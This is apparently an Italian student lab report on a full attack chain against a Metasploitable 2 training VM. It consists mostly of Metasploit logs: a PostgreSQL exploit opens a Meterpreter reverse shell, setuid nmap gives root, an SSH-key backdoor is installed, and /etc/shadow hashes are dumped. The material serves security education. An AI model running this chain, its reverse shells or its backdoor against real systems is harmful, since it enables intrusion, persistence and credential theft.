S7-L3

Relazione Tecnica: Analisi di Penetrazione e Post-Exploitation su Database PostgreSQL

1. Accesso Iniziale (Exploitation)

L'attività è stata avviata mediante il caricamento del modulo exploit/linux/postgres/postgres_payload nel framework Metasploit. Previa configurazione degli indirizzi IP (**RHOSTS sulla macchina target 192.168.50.101 e LHOST sulla macchina attaccante 192.168.50.100**), è stato eseguito l'exploit. Tale operazione ha permesso di sfruttare una vulnerabilità nel servizio **PostgreSQL** di Metasploitable 2, determinando l'apertura di una sessione **Meterpreter**.

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

```
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
```

```
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/qdTRaqBL.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:57740) at 2026-04-15 08:17:27 -0400

meterpreter > getuid
Server username: postgres
```

2. Verifica Identità ed Analisi Locale

Ottenuta la sessione iniziale, è stato impartito il comando getuid per verificare l'identità dell'utente in uso. Il sistema ha restituito un accesso come utente limitato (postgres). In conformità con gli obiettivi didattici, la sessione è stata posta in background per l'utilizzo del modulo **post/multi/recon/local_exploit_suggester**. Lo strumento ha analizzato il target alla ricerca di falle locali nel kernel o nelle configurazioni, identificando diverse vulnerabilità potenziali per l'escalation di privilegi.

```
msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > sessions

Active sessions
===============

  Id  Name  Type                   Information                          Connection
  --  ----  ----                   -----------                          ----------
  1         meterpreter x86/linux  postgres @ metasploitable.localdomai  192.168.50.100:4444 → 192.168.50.101
                                   n                                    :57740 (192.168.50.101)

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.50.101 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::Whoam
iOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: prev
ious definition of WhoamiOid was here
[*] 192.168.50.101 - 243 exploit checks are being tried...
[+] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be va
lidated.
[+] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xo
rg is installed, possible desktop install.
[+] 192.168.50.101 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid,
no cron.deny entries found
[+] 192.168.50.101 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[+] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:
================================================

 #   Name                                                          Potentially Vulnerable?  Check Result
 -   ----                                                          -----------------------  ------------
 1   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc          Yes                      The target appe
ars to be vulnerable.
 2   exploit/linux/local/glibc_origin_expansion_priv_esc           Yes                      The target appe
ars to be vulnerable.
 3   exploit/linux/local/netfilter_priv_esc_ipv4                   Yes                      The target appe
ars to be vulnerable.
 4   exploit/linux/local/ptrace_sudo_token_priv_esc                Yes                      The service is
running, but could not be validated.
 5   exploit/linux/local/su_login                                  Yes                      The target appe
ars to be vulnerable.
 6   exploit/linux/persistence/autostart                           Yes                      The service is
running, but could not be validated. Xorg is installed, possible desktop install.
 7   exploit/multi/persistence/cron                                Yes                      The target appe
ars to be vulnerable. Cron timing is valid, no cron.deny entries found
 8   exploit/multi/persistence/ssh_key                             Yes                      The target appe
ars to be vulnerable. Likely vulnerable
 9   exploit/unix/local/setuid_nmap                                Yes                      The target is v
ulnerable. /usr/bin/nmap is setuid
 10  exploit/linux/local/abrt_raceabrt_priv_esc                    No                       The target is n
ot exploitable.
```

3. Escalation di Privilegi (Privilege Escalation)

Sulla base dei risultati del modulo di ricognizione e diverse prove fallite, è stato selezionato l'exploit **exploit/unix/local/setuid_nmap**. È stata configurata la sessione attiva e impostato un payload di tipo command shell (**cmd/unix/reverse_python**). L'esecuzione dell'exploit ha permesso di abusare dei permessi SUID del binario nmap, garantendo l'accesso con massimi privilegi di sistema. La nuova identità è stata verificata tramite il comando whoami, confermando il passaggio con successo all'utente root.

```
msf post(multi/recon/local_exploit_suggester) > use exploit/unix/local/setuid_nmap
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(unix/local/setuid_nmap) > set SESSION 1
SESSION => 1
msf exploit(unix/local/setuid_nmap) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf exploit(unix/local/setuid_nmap) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(unix/local/setuid_nmap) > set LPORT 4445
LPORT => 4445
msf exploit(unix/local/setuid_nmap) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4445
[*] Dropping lua /tmp/yQtAjSBZ.nse
[*] Running /tmp/yQtAjSBZ.nse with Nmap
[*] Command shell session 2 opened (192.168.50.100:4445 → 192.168.50.101:54578) at 2026-04-15 08:44:31 -0400

whoami
root
^Z
Background session 2? [y/N]  y
msf exploit(unix/local/setuid_nmap) >
```

4. Installazione della Backdoor (Persistenza)

Al fine di garantire l'accesso al sistema in fasi successive, è stata installata una backdoor tramite il modulo **exploit/multi/persistence/ssh_key**. Nonostante le iniziali difficoltà tecniche relative alla configurazione del payload e all'assenza di connessione al database, l'installazione della persistenza è stata forzata (ForceExploit true). Il modulo ha generato una coppia di chiavi SSH, iniettando la chiave pubblica nel file authorized_keys dell'utente root sul target.

```
msf exploit(unix/local/setuid_nmap) > use post/linux/manage/sshkey_persistence
[*] Using configured payload payload/generic/custom
[!] *          The module post/linux/manage/sshkey_persistence has been moved!          *
[!] *                  You are using exploit/multi/persistence/ssh_key                  *
msf exploit(post/linux/manage/sshkey_persistence) > set SESSION 2
SESSION => 2
```

```
msf exploit(post/linux/manage/sshkey_persistence) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf exploit(post/linux/manage/sshkey_persistence) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(post/linux/manage/sshkey_persistence) > set CREATESSHFOLDER true
CREATESSHFOLDER => true
msf exploit(post/linux/manage/sshkey_persistence) >
```

```
[+] Persistence installed! Call a shell using 'ssh -i /home/kali/.msf4/loot/20260415090435_default_192.168.50.101_
id_rsa_481996.txt <username>@192.168.50.101'
```

5. Verifica della Persistenza

L'attività è stata conclusa con la dimostrazione della validità della backdoor. Utilizzando la chiave privata archiviata localmente, è stata stabilita una nuova **connessione SSH verso l'host target** (192.168.50.101). Per ovviare alle restrizioni di sicurezza dei client SSH moderni, sono stati specificati gli algoritmi legacy richiesti dal server. L'operazione ha avuto esito positivo, confermando la possibilità di accesso remoto diretto come root senza la necessità di ripetere l'exploit iniziale.

```
┌──(kali㉿kali)-[~]
└─$ chmod 600 /home/kali/.msf4/loot/20260415090435_default_192.168.50.101_id_rsa_481996.txt
```

```
└─$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -i /home/kali/.msf4/loot/2026041509
0435_default_192.168.50.101_id_rsa_481996.txt root@192.168.50.101
The authenticity of host '192.168.50.101 (192.168.50.101)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.101' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Apr 15 08:07:42 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# whoami
root
root@metasploitable:~#
```

```
root@metasploitable:~# whoami
root
root@metasploitable:~# cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
```